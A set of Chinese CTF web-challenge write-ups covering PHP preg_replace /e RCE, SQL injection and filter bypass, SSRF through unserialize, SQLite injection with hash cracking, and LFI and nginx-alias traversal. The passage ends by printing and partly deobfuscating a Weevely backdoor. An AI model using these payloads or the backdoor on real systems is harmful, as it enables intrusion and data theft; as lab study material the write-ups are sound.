利用linux目录结构特性引发的解析漏洞
打开后获得源码开始审计
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>cetc7</title>
</head>
<body>
<?php
session_start();#开始记录sessionif (!isset($_GET[page])) {#如果没有设置page的get参数就显示源码退出程序
show_source(__FILE__);
die();
}if (isset($_GET[page]) && $_GET[page] != 'index.php') {#如果设置了page参数并且get参数不等于index.php
include('flag.php');#就包含flag.php
}else {
header('Location: ?page=flag.php');#如果没有设置上述的参数那么就会重定向跳转到当前页面的?page=flag也就是添加这个参数
}?><form action="#" method="get">
page : <input type="text" name="page" value="">
id : <input type="text" name="id" value="">
<input type="submit" name="submit" value="submit">
</form>
<br />
<a href="index.phps">view-source</a><?php
if ($_SESSION['admin']) {#如果设置了admin 的SESSION值
$con = $_POST['con'];#定义con变量接受post值
$file = $_POST['file'];#定义file变量接受post值
$filename = "backup/".$file;#拼接filename为 backup/file if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){#这里只匹配最后一个.
/.+\.ph(p[3457]?|t|tml)$/i
.表示匹配任何字符不/.+\.ph(p[3457]?|t|tml)$/i包括换行
+表示匹配1个或更多个前面的标记
ph表示匹配ph这两个字符
p表示匹配p这个字符
[3457]表示匹配集合中任意字符
?表示匹配0个或者一个前面的字符
|表示匹配或者前面的或者后面的t tml
$表示匹配字符串的结尾
i表示忽略大小写
die("Bad file extension");
}else{
chdir('uploaded');#这里改变了目录
$f = fopen($filename, 'w');
fwrite($f, $con);#写入f文件con内容
fclose($f);
}
}
?><?php #如果设置了id 并且id的浮点值不等于1并且截取id的最后一个值等于9这里可以使用php弱类型1-9绕过
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);#mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?></body>
</html>
第一个php便是重定向到page页面
第二个是上传文件并保存但是首先需要session为admin
接着看第三个是要利用php弱类型
如果设置了id 并且id的浮点值不等于1并且截取id的最后一个值等于9这里可以使用php弱类型1-9绕过
http://111.200.241.244:63802/index.php?page=flag.php&id=1-9
接着上传文件,这里主要是包括有一个目录的改变也就是uploaded/backup/目录下面而正则匹配的绕过则需要考虑的是linux的目录结构特性
apache2.x的解析漏洞 1.php.xxx会被当作php来解析,那么我当时上传的时候,并没有能够成功,
其中 .. 代表当前目录的父目录 , .代表当前目录,所以这里的c.php/b.php/..也就是访问b.php的父目录,也就是 c.php
那么这里便构造
zf.php/b.php/..
正则的话是判断.之后的字符,因此我们可以利用‘/.’的方式绕过,这个方式的意思是在文件名目录下在加个空目录,相当于没加,因此达到绕过正则的目的。
file=…/flag.php/.
通过蚁剑进行连接
逻辑漏洞与
bug攻防世界
这里发现有注册与查找密码
注册有生日,地址
成功以后发现含有UID:6 注册一个登进去
查找密码也含有生日,地址
点message发现
点personal发现
这里可以发现含有一个uid 与user的cookis这里推测可能出现越权漏洞但是这个md5值并不好去发现,那么测试可以发现是
5:wanan 9bb32eda962f2776ac4c286723f07520
user=9bb32eda962f2776ac4c286723f07520
这里构造
4b9987ccafacb8d8fc08d22bbca797ba
记得将uid进行替换
得到了admin的信息
回到首页去重置密码去
这里使用自己注册的账号进行更改试试
发现有一个username可能存在越权漏洞改成admin试试
发现改成功了
登录admin之后发现
第一反应便是加上X-Forwarded-For:127.0.0.1头
发现注释信息
因为文件管理可能会有edit,dir,list,upload,delete,include等发现upload是对的
因此以后遇到文件上传的题,建议积累经验,直接抓包改成自己能最多绕过的那种,别一个一个试。最终发现文件的后缀可以是php5。php4也行,具体可以把那么多的php别名一个一个尝试。里面的内容过滤了<?php ?>,因此用<script language="php"></script>来绕过,这样就可以成功获得flag了
攻防世界ics-05(preg_replace()函数 /e 漏洞)
查阅资料发现这里是一个文件包含漏洞
http://111.200.241.244:60854/index.php?page=index.php
使用php://filter协议用于读取源码, php://input用于执行php代码
再次使用php://filter/read= 参数读取文件
在使用转换过滤器php://filter/read=convert.base64-encode/进行base64的编码
之后再次使用resource=参数来过滤筛选过滤的数据流
php://filter/read=convert.base64-encode/resource=index.php进行读取
具体实例
http://111.200.241.244:60854/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
得到源码
<?php
error_reporting(0);@session_start();
posix_setuid(1000);
?>
<!DOCTYPE HTML>
<html><head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head><body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- 这里的 checked 的状态只是演示 -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form; table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
{ type: 'checkbox' },
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{ field: 'name', title: '设备名', templet: '#nameTpl' },
{ field: 'area', title: '区域' },
{ field: 'status', title: '维护状态', minWidth: 120, sort: true },
{ field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
//监听导航点击
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script><?php$page = $_GET[page];if (isset($page)) {if (ctype_alnum($page)) {
?> <br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br /><?php}else{?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php if (strpos($page, 'input') > 0) {
die();
} if (strpos($page, 'ta:text') > 0) {
die();
} if (strpos($page, 'text') > 0) {
die();
} if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br /><?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
//这里验证X-Forwarded-For头是不是127.0.0.1
echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}}?></body></html>
首先进行X-Forwarded-For:127.0.0.1参数伪造
之后由于preg_replace()函数的/e漏洞进行代码执行
这段 PHP 代码会获取 3 个变量:pat、rep 和 sub 的值,然后进入一个 if-else 语句。isset() 函数在 PHP 中用来判断变量是否声明,此处如果这 3 个值都有传递就会执行 **preg_replace()**函数。
preg_replace 函数执行一个正则表达式的搜索和替换,语法如下:
Copy mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
参数 | 说明 |
---|---|
$pattern | 要搜索的模式,可以是字符串或一个字符串数组 |
$replacement | 用于替换的字符串或字符串数组 |
$subject: 要搜索替换的目标字符串或字符串数组 | |
$limit | 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是 -1(无限制) |
$count | 可选,为替换执行的次数 |
如果 subject 是一个数组, preg_replace() 返回一个数组,其他情况下返回一个字符串。如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。 | |
这个函数有个 “/e” 漏洞,“/e” 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码进行执行。如果这么做要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。 |
/index.php?pat=/abc/e&rep=system('ls')&sub=abc
获得css index.html index.php js layui logo.png s3chahahaDir start.sh 视图.png
查看一下s3chahahaDir这个目录
index.php?pat=/abc/e&rep=system('ls%20s3chahahaDir')&sub=abc
执行成功,发现 s3chahahaDir 下有个 flag 文件夹,那就更可疑了,再次执行 ls 命令在该文件中查看内容
index.php?pat=/abc/e&rep=system('ls%20s3chahahaDir/flag')&sub=abc
执行成功,发现 flag 文件夹下有一个 flag.php 文件,使用 cat 命令查看文件。查看之后打开 F12,即可看到 flag
/index.php?pat=/abc/e&rep=system('cat%20s3chahahaDir/flag/flag.php')&sub=abc
攻防世界fakebook
打开网页有login 与join界面login弱口令登录试试,登录使用sqlmap跑一下看有无注入
python sqlmap.py -r C:\Users\14980\Desktop\text1.txt --level 4 --dbs --batch
查看一下源码,在扫描一下目录
发现这些挨个访问看看在robots.txt页面发现有
User-agent: *
Disallow: /user.php.bak
上面的文件虽然存在但是却无法访问到,有可能是因为权限不够,需要找系统中访问的其他方式
接下来下载下来user.php.bak得到源码
<?php
class UserInfo{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog) {
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog; }
function get($url) { $ch = curl_init();//初始化一个url回话 curl_setopt($ch, CURLOPT_URL, $url);//设置需要抓取的url curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//设置url参数,要求结果保存到字符串还是输出到屏幕
$output = curl_exec($ch);//运行curl,请求网页
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);//获取一个curl连接资源句柄的信息
if($httpCode == 404) {
return 404; }
curl_close($ch);//关闭一个curl会话
return $output; }
public function getBlogContents () {
return $this->get($this->blog); }
public function isValidBlog () {
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); }}
访问 view.php发现报错信息,得到绝对路径
/var/www/html/view.php
这里对join 注册页面进行抓包使用sqlmap抓包看看有无注入发现有一个注入点
python sqlmap.py -r C:\Users\14980\Desktop\text1.txt -dbs --batch //这里得到数据库名
available databases [5]:
[*] fakebook
[*] information_schema
[*] mysql
[*] performance_schema
[*] testpython sqlmap.py -r C:\Users\14980\Desktop\text1.txt -D fakebook --tables --batch //这里得到表名
userspython sqlmap.py -r C:\Users\14980\Desktop\text1.txt -D fakebook -T users --dump --batch //这里得到字段
-----------------------------------------------------------------+
| no | data | passwd | username ---------------------------------------------+
| 1 | O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:0;s:4:"blog";s:6:"1.blog";} | 1f40fc92da241694750979ee6cf582f2d5d7d28e18335de05abc54d0560e0f5302860c652bf08d560252aa5e74210546f369fbbbce8c12cfc7957b2652fe9a75 (a) | admin |
| 2 | O:8:"UserInfo":3:{s:4:"name";s:100:"admin' AND ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM fakebook.users),1,1))>51-- yBdB";s:3:"age";i:4;s:4:"blog";s:6:"1.blog";} | 1f40fc92da241694750979ee6cf582f2d5d7d28e18335de05abc54d0560e0f5302860c652bf08d560252aa5e74210546f369fbbbce8c12cfc7957b2652fe9a75 (a) | admin' AND ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM fakebook.users),1,1))>51-- yBdB |
注册完成登录进去之后会发现只有一个username可以点击可以发现其在访问页面,在url中
http://111.200.241.244:64253/view.php?no=1
尝试一下sql注入发现报错信息
http://111.200.241.244:64253/view.php?no=1 and 1=1# 正常
http://111.200.241.244:64253/view.php?no=1 and 1=2# 错误
可以发现有注入点,这里发现字段数为4
view.php?no=1 order by 3# 错误
view.php?no=1 order by 4# 正常
view.php?no=1 order by 5# 错误
在这里发现网页有对sql注入语句的过滤
http://111.200.241.244:64253/view.php?no=-1 union select 1,2,3,4#
这里经过fuzz发现单个的字符并未进行过滤而是过滤的union select整个语句所以这里使用注释符/**/进行绕过,或者++进行绕过
http://111.200.241.244:64253/view.php?no=-1 union++select 1,2,3,4
http://111.200.241.244:64253/view.php?no=-1 union/**/select 1,2,3,4
这里发现2字段可以使用这里直接使用load_file()函数获取系统文件要求,权限较高,且要求文件的绝对路径,这里并没有
这里继续注入一下其他内容看看
http://111.200.241.244:64253/view.php?no=-1 union/**/select 1,user(),3,4
//获得用户名
root@localhost http://111.200.241.244:64253/view.php?no=-1 union/**/select 1,database(),3,4
//获得数据库名
fakebook http://111.200.241.244:64253/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#
//获取fakebook中的表名
usershttp://111.200.241.244:64253/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#
//获取数据库名为fakebook,表名为users中的字段名
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS http://111.200.241.244:63407//view.php?no=-1 union/**/select 1,group_concat(data,username,passwd),3,4 from users where no=1#
//获取数据库名为fakebook,表名为users中的字段名为data,username,passwd的值
O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:38:"https://zhuanlan.zhihu.com/p/161412754";}a1f40fc92da241694750979ee6cf582f2d5d7d28e18335de05abc54d0560e0f5302860c652bf08d560252aa5e74210546f369fbbbce8c12cfc7957b2652fe9a75
这里的序列化对象便与之前的获得到的user.php.bak 进行了对应 这里便是进行反序列化了class UserInfo{}类
最开始时的用户页面no=1时,页面返回用户的用户名、密码、博客之类的消息。毫无疑问,页面是根据users表中no=1的这条数据,渲染的页面。因为回显,我们只证明了查询语句的第二个字段是username。其余三个字段并不明确,但我们可以猜测,应该和数据库表中的字段顺序相似。第四个字段应该就是data,而我们现在有一个现成的data数据,能否模拟下?
http://111.200.241.244:63407//view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:38:"https://zhuanlan.zhihu.com/p/161412754";}'#
注意no现在的值为2,我们知道这个用户是不存在的。换而言之,原SQL语句的查询结果为空,而我们通过union加入了我们构造的查询语句,让SQL语句有了查询结果,并且此查询结果符合页面渲染要求,所以页面正常显示了。并且由此得知,只要有data字段的对象序列,就可以成功渲染页面,其他字段并不是很重要。(页面中age和blog的值,显然也都是从序列化的对象里面得到的)
因此这里需要构造blog参数的内容
file:///var/www/html/flag.php
原因是在源码中有blog的base64编码
<iframe width='100%' height='10em' src='data:text/html;base64,'>
这里利用了File协议读取本地文件,使用PHP构造出payload
<?php
class UserInfo
{
public $name = "s";
public $age = 1;
public $blog = "file:///var/www/html/flag.php";
}
$a = new UserInfo();
echo serialize($a);
//O:8:"UserInfo":3:{s:4:"name";s:1:"s";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
接着进行访问
http://111.200.241.244:63407//view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"s";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
得到base64加密文件
这里进行base64解密得到
<?php$flag = "flag{c1e552fdf77049fabf65168f22f7aeab}";
exit(0);
也可以直接点击链接
后端django服务gbk编码导致宽字符绕过
打开发现一个ping命令输入127.0.0.1发现执行成功,推测可能是命令拼接,但是输入任何有关拼接的字符串会提示invalid url
写一个脚本测试一下过滤了哪些字符
import requestsdef fuzz(location):
url = location.split('?')[0]
param = location.split('?')[1].split('=')[0]
#print(param)
with open ('./命令执行payload.txt') as file:
payload_list = file.readlines()
for payload in payload_list:
payload =payload.strip("\n")
# print(payload)
params = {
param:payload
}
#print(params)
res = requests.get(url=url,params=params) if 'Invalid URL' in res.text:
pass
else:
print(f'未被过滤的字符:{payload}')if __name__ == '__main__':
fuzz('http://111.200.241.244:55466/index.php?url=a')'''未被过滤的字符:@
未被过滤的字符:-
未被过滤的字符:.
未被过滤的字符:/'''
输入@发现在地址栏上@转换成了%40说明有编码转换
http://111.200.241.244:55466/index.php?url=%40
在url处输入宽字符,比如%bf
出现报错信息,将代码复制出来,使用浏览器打开
可以看到这是django的报错页面,看来是将输入的参数传到了后端的django服务中进行解析,而django设置了编码为gbk导致错误编码了宽字符(超过了ascii码的范围)
这里可以发现是通过post请求方式进行的而又根据之前@符号未进行过滤
这里还需要懂一些django开发的基本知识,我感觉这道题涉及的面有点广了,django项目下一般有个settings.py文件是设置网站数据库路径(django默认使用的的是sqlites数据库),如果使用的是其它数据库的话settings.py则设置用户名和密码。除此外settings.py还会对项目整体的设置进行定义。
读取settings.py文件,这里需要注意django项目生成时settings.py会存放在以项目目录下再以项目名称命名的文件夹下面。
接着使用@访问这个文件
http://111.200.241.244:55466/index.php?url=@/opt/api/database.sqlite3
在响应中搜索ctf ,flag找到
sqlite 注入引发的pdf爬取与sha1密码爆破
打开没有发现什么有用信息,扫一下后台目录
python dirsearch.py -u http://111.200.241.244:52362/
挨个访问一下发现有
在admin.php页面发现
不可能注入成功
login.php登录试试发现输入单引号有报错
可以得到是sqlite数据库
这个页面查看源码看看,发现有一个debug参数
这里地址栏输入一下返回了部分源码
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw']; $db = new SQLite3('../fancy.db'); $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
} if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}}if(isset($_GET['debug']))
highlight_file('login.php');
?>
可以发现这里是判断查询数据是否存在,存在注入且将信息存放到了cookie中
tips:
sqlite数据库有一张sqlite_master表,
里面有type/name/tbl_name/rootpage/sql记录着用户创建表时的相关信息
这里构造查询用户创建表时的相关信息
usr=1'union select name,sql from sqlite_master--+&pw=a
发现在coolie中存在有信息进行url解码得到有name,password,hint字段
构造查询name,password,hint字段
usr='union select id,group_concat(name) from Users--&pw=a
usr='union select id,group_concat(password) from Users--&pw=a
name | password | hint |
---|---|---|
admin | 3fab54a50e770d830c0416df817567662a9dc85c | my fav word in my fav paper? |
fritze | 54eae8935c90f467427f05e4ece82cf569f89507 | !,my love is…? |
hansi | 34b0bb7c304949f9ff2fc101eef0f048be10d3bd | ,the password is password |
所以这里需要查询他的论文
首先进行pdf文件的爬取工作
import urllib.requestimport requests
import re# eccbc87e4b5ce2fe28308fd9f2a7baf3.pdf 示例
import urllib3'''eccbc87e4b5ce2fe28308fd9f2a7baf3.pdf 示例
匹配这个名称 使用正则表达式首先[]表示字符集匹配集合中的任意字符[a-fA-F0-9]原因是哈希函数是只有a-f A-F 0-9 中的字符
[a-fA-F0-9]{32} 表示匹配前面三十二个字符
[a-fA-F0-9]{32}\.pdf 表示匹配.pdf这个字符
'''
'''
1/3/7/8/index.html
1/index.html 实例
匹配后面的名字 ([0-9]{1}\/) {1}表示匹配数字一次首先将1/作为一个整体进行匹配, {0,4}表示匹配0次或者4次index.html表示匹配index.html字符
'''
re1 = '[a-fA-F0-9]{32}\.pdf'
re2 = '[0-9\/]{2,2}index.html'
pdf_list = [] # 创建一个pdf列表,用于储存pdf网址
'''中括号[]:
代表list列表数据类型,列表是一种可变序列'''
# 获取pdfurl列表
def get_pdf(url):
global pdf_list
# print(url)
req = requests.get(url)
re_1 = re.findall(re1, req.text) # 这里使用re匹配响应中符合的pdf名称
# print(re_1)
for i in re_1:
pdf_url = url + i
pdf_list.append(pdf_url)
# print(pdf_list)
re_2 = re.findall(re2, req.text)
# print(re_2)
for j in re_2:
new_url = url + j[0:2]
# print(j[0:2])
# print(new_url)
get_pdf(new_url)
# print(pdf_list)
return pdf_list
# 获取pdf文件
def get_file(url):
# req = requests.get(url)
#print(len(url))
for i in range(0,len(url)):
url1 = url[i]
print(url)
req = urllib.request.urlopen(url1)# 这里使用的是urllib库的request方法的urlopen将对url发起默认get请求
filename = str(i) + '.pdf'
with open(f'./pdf/{filename}', 'wb') as f: # 打开一个文件并以f为代名 wb 以二进制格式打开文件只用于写入,如果文件已存在则打开文件,并从开头进行编辑,即原有内容会被删除.
block_size = 8192 # 定义一个读取量防止过大爆内存 如果该文件不存在,创建新文件,一般用于非文本文件如图片
while True:
buffer = req.read(block_size) # 这里使用read方法进行读取文件默认返回bytes类型
if not buffer: # 当buffer为零时即为假那么取反变为真跳出循环
break
f.write(buffer) # 进行文件的写入
print("Sucessful to download" + " " + filename)
if __name__ == '__main__':
pdf_list = get_pdf('http://111.200.241.244:63725/')
#print(pdf_list)
get_file(pdf_list)
# req = requests.get('http://111.200.241.244:63725/c4ca4238a0b923820dcc509a6f75849b.pdf')
接下来就是提取pdf里的文本信息了,我在网上找了一个pdf转txt的工具:pdftotext.exe,这个工具可以通过命令行把pdf转txt文件,由于文件相对较多,可以通过python多线程来执行,当然也可以直接手动转换。
import os
import threadingdef thread(cmd):#创建一个cmd类用于通过os.system调用系统cmd
os.system(cmd)tsk=[]#创建一个列表用于存放线程对象for i in range(0,34):
filename = str(i) + '.pdf'#获取文件名称
filename = 'D:\Download\pdf\\' + filename
cmd = r"D:\Data\secquan\tools\编码解码\pdftotext\pdftotext.exe %s"%(filename)#调用cmd的命令
print(cmd)
t = threading.Thread(target=thread(cmd))#创建线程对象
tsk.append(t)#将线程对象添加到列表中
for t in tsk:
t.start()#启动线程对象
进行本地密码爆破
import hashlib
import base64
def tiqu(filename):
f = open('./pdf/{}'.format(filename), 'r',errors='ignore')#这里由于并不是正常编码格式所以会产生保存而使用errors="ignore"可以将报错信息进行屏蔽
doc = f.read()
f.close()
dic = doc.split(' ')
new_dic = []
for i in dic:
i = i.replace(' ', '')
if i != '':
new_dic.append(i)
return new_dic
def sha(word):
md = hashlib.sha1()
md.update((word + 'Salz!').encode('utf-8'))
haxstr = md.hexdigest()
#print(haxstr) if '3fab54a50e770d830c0416df817567662a9dc85c' == haxstr:
print("password:" + word)
exit()
if __name__ == '__main__':
for i in range(0, 34):
n = tiqu(str(i) + '.txt')
for k in n:
sha(k)
#print(base64.b64encode(k.encode("utf-8")))
得到密码ThinJerboa用户名admin
到admin.php进行登录
文件包含,目录遍历,分析Weevely后门代码,写解密函数
弹出登录
扫一下目录
发现
hint.php
/etc/nginx/sites-enabled/site.conf 说文件的配置可能有问题,该文件应该是nginx的站点核心配置文件之一
Hack.php
访问改文件得到一个空白页面,猜测改文件没有直接输出任何语句
/admin | /admin/ |/ad,im/?/login | /admin/index.php都显示
/admin/admin.php
弹窗显示 you need to log in
, 然后跳转到 login.php
页面
/images
会跳转到/images/并返回403,没有可以利用的点
基本信息收集的差不多之后,我们现在有几个可以用的点
- /admin/admin.php页面
该页面需要登录情况下才能访问,但是我们没有账号和密码,也没有注册页面,所以账号和密码登录是不太现实的.同样爆破账号密码也不太可能.现在最理想的情况是那个地方泄露了cookie,我们可以利用这个cookie以某个用户的身份进行登录
2. /etc/nginx/sites-enabled/site.conf 文件
这个文中给出的提示,肯定有用,但是现在无法去读取这个文件,最常用的读取文件漏洞有"文件包含"与"任意文件下载(读取)",但是需要找到可以利用的点
3.Hack.php页面
暂时还不知道是怎么利用但是看文件名字肯定可以利用
本地文件包含读取Nginx配置文件
这里发现在访问网址时都会带上一个isLogin的cookie,这里没有任何问题,但是isLogin的值被定义为"0"
想到cookie是用来识别用户的,维持登录状态的,这里的"0"可能表示布尔值,因此手动将其该为"isLogin=1"
然后再访问 /admin/admin.php
, 发现我们成功登录到了站点后台
后台看起来有很多选项卡 , 其实大部分都是假的 , 即使有几个选项存在页面跳转 , 也都是指向 index.php
, 没有什么问题 .
在登录时发现请求了这么一个界面
可以发现请求的是后台文件index.php
其中file参数是文件名,ext参数是文件扩展名,那么这里是否存在LFI(本地文件包含漏洞)
-
./测试
payload=file=./index&ext=php
2.…/测试
payload=file=../index&ext=php
响应结果和./完全相同,看起来…/并没有被解析处理,或者说是被过滤掉了.
3.…//测试
既然…/可能被过滤了,那么就重叠写为…//这样如果是只过滤一次,并且过滤为空的话就可以绕过这个过滤
payload=file=....//&ext=php
这里页面就发生了变化不在出现please continue,这里可能因为过滤检测后…/index.php文件不存在.导致站点自动跳转到./index.php主页.因此重写法可以绕过…/过滤
4.测试去除ext参数值
如果HTTP请求中ext=php是必须存在且无法更改的,那么这里利用会变得十分困难.因为我们的目标是/etc/nginx/sites-enabled/site.conf文件,而不是php文件
payload=file=index&ext=
没有出现please continue,因此这里看到的页面可能是因为当前目录下面的index文件不存在而强制跳转到index.php
5.**测试去除ext参数值,并在file参数中添加文件扩展名
那么如何验证上述没有出现please continue字符串是因为站点中没有找到这个文件而出现的强制跳转这个猜想是正确的呢
payload=file=index.php&ext=
出现了please continue,说明读取到了当前目录下面的index.php,而前面的没有找到这个站点没有读取到index这个文件,直接跳转到了index.php,因此没有出现please continue
这也说明了我们上面所有的猜想都是正确的.我们可以通过重写…/来绕过站点的过滤机制
现在我们可以直接读取到/etc/nginx/sites-enabled/site.conf
payload = file=....//....//....//....///etc/nginx/sites-enabled/site.conf&ext=
目录遍历漏洞拿到webshel
利用上面的漏洞,我们可以读取到所有已知文件名的文件,但是我们对于哪些我们不知道的文件,就没有办法读取,必须拿到其他的利用点.所以这里开始查看配置文件根据
Nginx的alias的用法及与root的区别
- toot的用法
location /request_path/image/ {
root /local_path/image/;
}
这样配置的结果就是当客户端请求 /request_path/image/cat.png 的时候,
Nginx把请求映射为/local_path/image/request_path/image/cat.png
-
alias的用法
location /request_path/image/ { alias /local_path/image/; } 这时候,当客户端请求 /request_path/image/cat.png 的时候, Nginx把请求映射为/local_path/image/cat.png
这段代码给/web-img目录设置了一个别名/images/,并且开启了autoindex
alias 用于给 localtion 指定的路径设置别名 , 在路径匹配时 , alias 会把 location 后面配置的路径丢弃掉 , 并把当前匹配到的目录指向到 alias 指定的目录 .
注意!alias会丢弃掉loaction的路径,因此alias后面的路径是从系统根目录开始的,然后直接跟指定的路径,他和root的用法不一样,而autoindex是一个目录浏览功能,用于列出当前目录的所有文件及子目录
总之,这里访问/web-ima,就会访问系统跟目录下的/images/而如果在url中访问/web-img…/则相当于访问/images/…/,也就相当于访问系统根目录.而且由于开启了autoindex,我们可以直击在浏览器里看到根目录下的所有内容
这就是一个目录遍历漏洞,我们可以通过他查看系统中所有文件
遍历目录可以在/var/www下找到hack.php.bak
分析Weevely(Linux中的菜刀)后门代码
先定义多个变量,然后通过str_replace函数进行字符串的替换并拼接,接着通过create_fuction()创建了一个匿名函数,最后执行这个函数
str_replace()函数替换拼接后的代码就是匿名函数 f 的内容因此这里输出 f的内容因此这里输出 f的内容因此这里输出f,看看函数在干什么
<?php
$U = '_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q = 's[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M = 'l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z = 'r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k = '?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o = '|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N = '|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C = 'an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j = '$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R = str_replace('rO', '', 'rOcreatrOe_rOrOfurOncrOtion');
$J = 'kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x = 'r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f = str_replace('|U', '', $j . $o . $z . $x . $k . $M . $J . $q . $N . $U . $C);
echo $f;#这里
$kh = "42f7";#定义两个字符串
$kf = "e9ac";function x($t, $k)#$t的每一项和$k的每一项异或运算,然后循环拼接到输出变量$o中
{
$c = strlen($k);
$l = strlen($t);
$o = "";
